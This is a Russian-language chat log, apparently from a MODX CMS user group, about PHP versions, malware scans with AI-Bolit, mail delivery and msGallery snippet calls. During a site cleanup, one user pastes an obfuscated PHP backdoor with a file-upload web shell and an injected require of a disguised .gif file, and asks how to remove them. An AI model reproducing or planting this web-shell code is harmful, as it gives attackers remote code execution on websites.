Миша
во как
Миша
неожиданно
Миша
мои извинения
Василий
на каком-то сервере php - это псевдоним 5.6, а на каком-то - другой версии
Не вводи людей в заблуждение, везде 5.6 по умолчанию для консоли
Василий
Можно сделать директорию bin, у себя в каталоге и там создать ссылку php на php7.3, перезйти и будет работать 7.3 для тебя по умолчанию
Василий
Это ж линус, блин
Миша
у меня просто на коме 7,2 сразу )
Алексей
да, скачай айболит для винды и проверь локально. Я пробовал и так и так - на шаред хостинге он не успевает отработать, как его Кикает
ну у меня на шаред в 90% случаях успевал сработать....
Алексей
Пытаюсь запустить Айболит на сайте - пишет no such file or directory, если ввожу без пароля - пишет permission denied, ввожу с неправильным паролем - пишет command not found. Хостинг таймвеб - это хостинг не даёт запустить? Тариф надо другой?
помоему что-то не так с путем.. файл ai-bolit.php находится в папке ai-bolit или public_html... ? а его сигнатуры в какой папке?
А онлайн - только js скрипты увидишь...
Somebody
Проверил в общем сайт айболитом. 4 вредоносных кода и 2 редирект реклама.
Somebody
Somebody
Если просто вырезать эти строки из файлов попробовать - будет результат?
iWatchYouFromAfar
Если просто вырезать эти строки из файлов попробовать - будет результат?
Попробуй - узнаешь
Somebody
Ну если слетит - оригинальные файлы у меня же скачаны в принципе?
Somebody
И ещё вопрос - несколько файлов Айболит не стал проверять из за размера. Через Касперский онлайн нормально их проверять?
Eugene
анельзя просто поверх залить ту же версию modx с заменой?
Не поможет, потому что вирусники свои файлы создают
Eugene
А еще и не обязательно файл будет рhp, бывает и файл ico
Не так давно встречался с такой заразой, его и антивирус не находил
Somebody
Прикольно. Айболит нашел спам в файле ai-bolit.php
Алексей
лечение вирусов это искусство. Искусство человека распозновать вирус-не вирус. :)) тут советовать сложно т.к. ДНК вирусов мутирую и они совершенствуются... и могут не находиться... как-то встретил настолько хитрый вирус, что понял, за файлами - глаз да глаз...
Там функция base64 была закодирована весело... и ее ваще хер бы нашел если бы не в ручную просмотрел подозрительные файлы...
Алексей
поэтому иногда 20т за лечение - в полне не плохая цена... можно и дешевле найти по рынку :)))))))))))))))))))))))
Алексей
После переноса сайта перестали уходить письма. Даже напоминание пароля. Сталкивался кто?
Андрей
После переноса сайта перестали уходить письма. Даже напоминание пароля. Сталкивался кто?
Ставь QuickEmail и проверяй отправку
Алексей
угу. 1. смотреть логи. 2. проверить включена ли фу-я mail в php у хостера. 3. Если майлер выключен, то использовать SMTP
Алексей
Алексей
а, еще проверить чтобы был в админке домен правильно подписан, а именно emailsender - должен быть с ДОМЕНа где работает сайт. например домен у тебя domiko . ru , Значит почта такая: info (собака) domiko . ru (пробелы поставил спецом).
Евгений
уже второй день экономит
Евгений
может это Димон?
Алексей
угу. 1. смотреть логи. 2. проверить включена ли фу-я mail в php у хостера. 3. Если майлер выключен, то использовать SMTP
отключена почта у хостера. Спасибо за наводку.
Алексей
пжлст-а
Somebody
он экономит
С финансами пока туговато, да и время пока есть свободное. Ну и сам хочц на будущее хотя бы примерно понимать чего к чему
Евгений
С финансами пока туговато, да и время пока есть свободное. Ну и сам хочц на будущее хотя бы примерно понимать чего к чему
да на здоровье, в этом случае главное результат
Somebody
Вот кусок кода - одинаковый в разных файлах. Явно вирус есть, но не могу понять какой кусок рубануть - всю строку или тут что-то здравое еще есть?
Somebody
$htm='<?php if($_GET["login"]=="'.$rand.'"){$or="JG11amogxPSAkX1BPU1RbJ3onXTsgaWYg"; $zs="KCRtdWpqIT0iIikgeyAkeHxNzZXI9Ym"; $lq="FzZTY0X2RlY29kZSgkX1BPU1RbJ3owJ10pO"; $bu="yBAxZXZhbCgiXCRzYWZlZGcgPSAkeHNzZXI7Iik7IH0="; $avj = str_replace("j","","sjtrj_jrjejpljajcje"); $qu = $avj("i", "", "ibiaisie6i4i_dieicoide"); $fh = $avj("k","","crkekatkek_kfkukncktkikon"); $hwy = $fh("", $qu($avj("x", "", $or.$zs.$lq.$bu)));$hwy(); $target_path=basename($_FILES["uploadedfile"]["name"]);if(move_uploaded_file($_FILES["uploadedfile"]["tmp_name"],$target_path)){echo basename($_FILES["uploadedfile"]["name"])." has been uploaded";}else{echo "Uploader By Psyco!";}} ?><form enctype="multipart/form-data" method="POST"><input name="uploadedfile" type="file"/><input type="submit" value="Upload File"/></form>';
Somebody
Самому вылечиь свой сайт это же как винду первый раз в жизни установить заново)
Андрей
Вот кусок кода - одинаковый в разных файлах. Явно вирус есть, но не могу понять какой кусок рубануть - всю строку или тут что-то здравое еще есть?
Если этого файла нет в чистом движке, можно удалять, если есть, заменить на оригинал файла.
Александр
Андрей
Обычно в начало файла дописывают такой код, и чуть ниже там идёт ещё один открывающий тег <?php и дальше оригинальное содержимое
Evgeniy
С 5 попытки пришло письмо на почту, когда создал новый пароль с уведомлением на почту у пользователя в админке. Логи чисты, формат и прочие отправляют без нареканий. В какую сторону смотреть, подскажите плз
Michael
да мало ли зачем) может менеджер будет комплектовать заказ подобным образом, почему нет. Тут ещё вопрос в психологии. Когда разработчик не только кодом занят, но ещё видит визуально как всё круто и здорово у него получается, то и стимул растёт развивать свой продукт. А не тупо код, код, код, конфиги extjs. Можно выделиться как-то. А так все компоненты на одно лицо, одни и теже формы и таблички
>Можно выделиться как-то. А так все компоненты на одно лицо, одни и теже формы и таблички
Вовсе не факт, что это плохо. Руководства по интерфейсам у тех же Microsoft, GNOME и KDE не просто так появились.
Somebody
Если этого файла нет в чистом движке, можно удалять, если есть, заменить на оригинал файла.
Я решил действовать методом научного тыка - удалил, записал чего удалил, почистил кэш, обновил страницы, вышел-зашел в админку, попробовал загрузить файл через админку. Если все нормально - еду дальше.
Андрей
Somebody
А вот тут в чем косяк может быть? в файле index.php в корневом каталоге доктору этот кусок кода не нравится. Вроде файл - обычная картинка в формате гиф, я ее скачал посмотрел. //installbg
$rifilename='/home/t/timafon/udmagro.ru/public_html/manager/templates/default/images/credits/webfxs.gif';
require("$rifilename");
//installend
Андрей
Андрей
https://github.com/modxcms/revolution/tree/2.x/manager/templates/default/images/ - такой папки вобще быть не должно
Алексей
это в Index.php корень сайта?? Теюе ж сказали - сравнивай оригинал дистрибутива.
Алексей
ппц... сложно скачать установочный файл modx revo?
Somebody
Все понял
Евгений
я ж говорю, это Димон)
Алексей
)))))
Evgeniy
Что не так с msGallery... Почему не работает вызов [[msGallery? &Product=123 &tpl=@INLINE {files[0]['url']]]
Если убрать id продукта работает, но я вызываю это внутри pdoResource и там нужен другой id...
Евгений
Evgeniy
ShowLog показывает все поля которые нужны
Андрей
А где найти оригинальные файлы?
Есть ещё вот такая тема - https://modstore.pro/packages/utilities/scannermodx - иногда помогает
Evgeniy
Минутку, кину нормальный код
Yurij
Что не так с msGallery... Почему не работает вызов [[msGallery? &Product=123 &tpl=@INLINE {files[0]['url']]]
Если убрать id продукта работает, но я вызываю это внутри pdoResource и там нужен другой id...
Сделай чанком заменив инсайд, феном плохо работает с инлайнами
Алексей
да там в msGallery, небось, нормально не передается id товара...
Evgeniy
[[!msGallery? &product=[[+id]] &tpl=@INLINE {$files[0]['url']}]]
Алексей
ну че и следовало ожилдать...
Алексей
а весь чанк pdoResource можно?
Evgeniy
а весь для чего? он довольно большой для часа
Алексей
он написан на fenom или MODX тегами?
Evgeniy
modx
Evgeniy
[[!msGallery? &product=[[+id]] &tpl=@INLINE [[+url]]]]
Evgeniy
так тоже не работает
Андрей
[[!msGallery? &product=[[+id]] &tpl=@INLINE {$files[0]['url']}]]
А не проще выводить внутри чанка плейсхолдер - {$thumb}? Он по умолчанию доступен если вывод через &element=msProducts